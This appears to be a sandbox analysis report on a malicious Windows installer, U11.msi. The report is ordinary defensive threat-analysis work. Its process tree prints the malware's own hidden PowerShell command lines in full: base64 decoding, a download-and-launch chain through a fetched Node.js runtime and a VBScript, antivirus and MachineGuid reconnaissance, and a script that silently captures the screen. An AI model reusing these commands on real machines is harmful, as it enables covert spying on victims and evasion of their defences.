Overview

overview

8

Static

static

3

U11.msi

windows10-2004-x64

8

U11.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/11/2026, 17:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    U11.msi
  • Size 40KB
  • Sample261111-vm2khsax4t
  • SHA256 8f2e3739fc59a37623ea8ac1782f773ab6668e9108789fcb7cca9b3504a4e00a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoveryexecutionpersistenceprivilege_escalationransomware

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

    Run Powershell and hide display window.

    execution
  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Windows directory 12 IoCs
  • Queries registry keys for unique system GUIDs 1 TTPs 2 IoCs

    Queries the MachineGuid or HwProfileGuid value from the command line, commonly used to create a unique victim ID.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 22 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\U11.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1680
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Creates a file in the Startup directory
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5852
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:120
      • C:\Windows\system32\cmd.exe
        cmd /c "RunPostSetup.cmd"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5128
        • C:\Windows\system32\cmd.exe
          cmd.exe /C call "C:\Users\Admin\AppData\Local\Oung527xbvdy\RunPostSetup.cmd" AFTERCOPY
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3432
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:UPDATE_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4240
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:UPDATE_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2360
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:BUNDLE_DIR_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5976
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:BUNDLE_DIR_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5056
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:PRIMARY_EXE_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5884
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:PRIMARY_EXE_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1428
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" ver "
            4⤵
              PID:632
            • C:\Windows\system32\findstr.exe
              findstr /I /R "10\. 11\."
              4⤵
                PID:4216
              • C:\Windows\System32\curl.exe
                "C:\Windows\System32\curl.exe" -L -f -sS -o "C:\Users\Admin\AppData\Local\Temp\UcP30KkB_Itj9ZJzMbi_7309.zip" "https://nodejs.org/dist/v18.17.0/node-v18.17.0-win-x64.zip"
                4⤵
                  PID:5756
                • C:\Windows\System32\tar.exe
                  "C:\Windows\System32\tar.exe" -xf "C:\Users\Admin\AppData\Local\Temp\UcP30KkB_Itj9ZJzMbi_7309.zip" -C "C:\Users\Admin\AppData\Local\Oung527xbvdy"
                  4⤵
                    PID:6020
                  • C:\Windows\System32\wscript.exe
                    "C:\Windows\System32\WScript.exe" //B //Nologo "C:\Users\Admin\AppData\Local\Oung527xbvdy\regb1jblz.vbs" "C:\Users\Admin\AppData\Local\Oung527xbvdy\SharedRuntimen5\AppLauncher.exe" "C:\Users\Admin\AppData\Local\Oung527xbvdy\DW8VnS1rqWvH.cfg"
                    4⤵
                    • Executes a VBScript file via the Windows Script Host.
                    • Suspicious use of WriteProcessMemory
                    PID:964
                    • C:\Users\Admin\AppData\Local\Oung527xbvdy\SharedRuntimen5\AppLauncher.exe
                      "C:\Users\Admin\AppData\Local\Oung527xbvdy\SharedRuntimen5\AppLauncher.exe" "C:\Users\Admin\AppData\Local\Oung527xbvdy\DW8VnS1rqWvH.cfg"
                      5⤵
                      • Executes dropped EXE
                      • Reads the TCP/IP host and domain name from the registry
                      • Checks processor information in registry
                      • Suspicious use of WriteProcessMemory
                      PID:5372
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
                        6⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4416
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4716
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
                        6⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1900
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1260
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
                        6⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4140
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:5368
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
                        6⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5908
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:5992
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
                        6⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5656
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1340
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
                        6⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4668
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          7⤵
                            PID:5056
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
                            7⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4888
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "net session"
                          6⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3776
                          • C:\Windows\system32\net.exe
                            net session
                            7⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4480
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 session
                              8⤵
                                PID:3740
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
                            6⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5872
                            • C:\Windows\system32\reg.exe
                              reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
                              7⤵
                                PID:1684
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
                              6⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:1176
                              • C:\Windows\system32\reg.exe
                                reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
                                7⤵
                                • Queries registry keys for unique system GUIDs
                                PID:2596
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
                              6⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:5088
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
                                7⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3196
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
                              6⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:724
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
                                7⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2888
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
                              6⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:1756
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
                                7⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:464
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
                              6⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4680
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
                                7⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5856
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "net session"
                              6⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4036
                              • C:\Windows\system32\net.exe
                                net session
                                7⤵
                                • Suspicious use of WriteProcessMemory
                                PID:5016
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 session
                                  8⤵
                                    PID:2384
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
                                6⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:4368
                                • C:\Windows\system32\reg.exe
                                  reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
                                  7⤵
                                    PID:3252
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
                                  6⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:5368
                                  • C:\Windows\system32\reg.exe
                                    reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
                                    7⤵
                                    • Queries registry keys for unique system GUIDs
                                    PID:1656
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "; Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap($bounds.Width, $bounds.Height); $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $ms = New-Object System.IO.MemoryStream; $bitmap.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png); $base64 = [Convert]::ToBase64String($ms.ToArray()); [System.IO.File]::WriteAllText('C:\\Users\\Admin\\AppData\\Local\\Temp\\ss_1794416955443.txt', $base64); $graphics.Dispose(); $bitmap.Dispose(); $ms.Dispose(); ""
                                  6⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:4400
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "; Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap($bounds.Width, $bounds.Height); $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $ms = New-Object System.IO.MemoryStream; $bitmap.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png); $base64 = [Convert]::ToBase64String($ms.ToArray()); [System.IO.File]::WriteAllText('C:\\Users\\Admin\\AppData\\Local\\Temp\\ss_1794416955443.txt', $base64); $graphics.Dispose(); $bitmap.Dispose(); $ms.Dispose(); "
                                    7⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:1352
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Checks SCSI registry key(s)
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5268
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\SysWOW64\cmd.exe
                        1⤵
                        • System Location Discovery: System Language Discovery
                        PID:3200

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            3
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Visual Basic

                            1
                            T1059.005

                            Windows Command Shell

                            1
                            T1059.003

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Event Triggered Execution

                            1
                            T1546

                            Installer Packages

                            1
                            T1546.016

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Event Triggered Execution

                            1
                            T1546

                            Installer Packages

                            1
                            T1546.016

                            Defense Evasion

                            System Binary Proxy Execution

                            1
                            T1218

                            Msiexec

                            1
                            T1218.007

                            Credential Access

                            Discovery

                            Peripheral Device Discovery

                            2
                            T1120

                            Query Registry

                            3
                            T1012

                            System Information Discovery

                            5
                            T1082

                            System Location Discovery

                            1
                            T1614

                            System Language Discovery

                            1
                            T1614.001

                            System Network Configuration Discovery

                            1
                            T1016

                            Lateral Movement

                            Collection

                            Command and Control

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            e596048.rbs
                            • Path C:\Config.Msi\e596048.rbs
                            • Size 9KB
                            • SHA256 6c6331997c04955b320da2cbe1f5b43a60b5af8418cccfa8b63b47e13019d342
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 948B
                            • SHA256 629de012d9bdd03b9c54fc2f42e49f45e530f4fff516e1318bb2eddb1b5ea73f
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 b7d2ecc082c7fe8d939d3d6a7b128a70e60fd1e65219902359b3042d85f19f60
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 a6176eb38b35e1bce86f85faf2b054f49257d240f02dbe8f6253cf6f37f76e6e
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 dd3e23a0f38b25911578eda470771eb68400755c8504293e7bb61cbabc292edb
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 f7d43c60e1cfb5024769020a6a630f83ecbf947494c3a3e126ee83210f511f0c
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 19c15cc3a6cc55fc6cb0693b7d9890b6048939068af1e1b13678194ff0f5b5cb
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 5138634addb304031f37a2cc003ecd712607b5a912fdb61da12976fb330b775c
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 948B
                            • SHA256 beb89f9355be2debcce3233a89ad4d63ec861b41b73c309d63444f4b800dc129
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 948B
                            • SHA256 0e040c4c0fe42a9a0e0076fc1b21952f4e1b7d9a3928c98d104f184370ec6428
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            DW8VnS1rqWvH.cfg
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\DW8VnS1rqWvH.cfg
                            • Size 44KB
                            • SHA256 68cc9596d14ec7325f14c1f7cbc3ae3022980e22ae4514e96e3d04e3d05f7039
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            RunPostSetup.cmd
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\RunPostSetup.cmd
                            • Size 6KB
                            • SHA256 d5e83ebcf76bd3e64836a524cf39253e4714308ae37376d304b3bd4d0abb8196
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\@npmcli\query\LICENSE
                            • Size 818B
                            • SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\@npmcli\run-script\LICENSE
                            • Size 754B
                            • SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            license
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\chalk\license
                            • Size 1KB
                            • SHA256 67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\fs-minipass\LICENSE
                            • Size 780B
                            • SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\libnpmpublish\LICENSE
                            • Size 730B
                            • SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\libnpmversion\LICENSE
                            • Size 763B
                            • SHA256 1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\minipass-pipeline\node_modules\minipass\LICENSE
                            • Size 802B
                            • SHA256 04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            index.js
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\minipass-pipeline\node_modules\minipass\index.js
                            • Size 16KB
                            • SHA256 7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            package.json
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\minipass-pipeline\node_modules\minipass\package.json
                            • Size 1KB
                            • SHA256 c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\npm-audit-report\LICENSE
                            • Size 771B
                            • SHA256 b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            license
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\p-map\license
                            • Size 1KB
                            • SHA256 fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            package.json
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\path-scurry\dist\cjs\package.json
                            • Size 28B
